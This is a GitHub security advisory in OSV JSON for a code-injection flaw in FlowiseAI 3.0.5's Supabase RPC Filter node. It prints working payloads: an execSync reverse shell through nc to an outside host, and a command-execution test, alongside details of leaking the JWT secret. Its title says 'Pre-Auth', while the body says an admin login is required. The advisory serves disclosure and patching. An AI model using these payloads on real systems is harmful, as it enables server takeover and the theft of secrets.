{"id":"GHSA-7944-7c6r-55vv","summary":"FlowiseAI Pre-Auth Arbitrary Code Execution","details":"## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**","aliases":["CVE-2025-57164"],"modified":"2025-10-17T20:44:44.249658Z","published":"2025-09-15T19:51:08Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-09-15T19:51:08Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57164"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.5"},{"fixed":"3.0.6"}]}],"versions":["3.0.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-7944-7c6r-55vv/GHSA-7944-7c6r-55vv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}